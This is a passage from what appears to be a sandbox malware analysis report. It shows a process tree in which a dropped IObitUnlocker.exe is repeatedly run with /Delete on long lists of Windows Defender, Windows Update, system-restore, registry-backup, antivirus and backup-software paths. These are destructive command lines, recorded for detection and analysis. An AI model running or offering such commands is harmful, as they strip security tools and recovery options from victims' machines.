Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                          7⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of SetWindowsHookEx
                                          PID:2944
                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                          7⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of SetWindowsHookEx
                                          PID:4148
                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                          7⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of SetWindowsHookEx
                                          PID:4696
                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
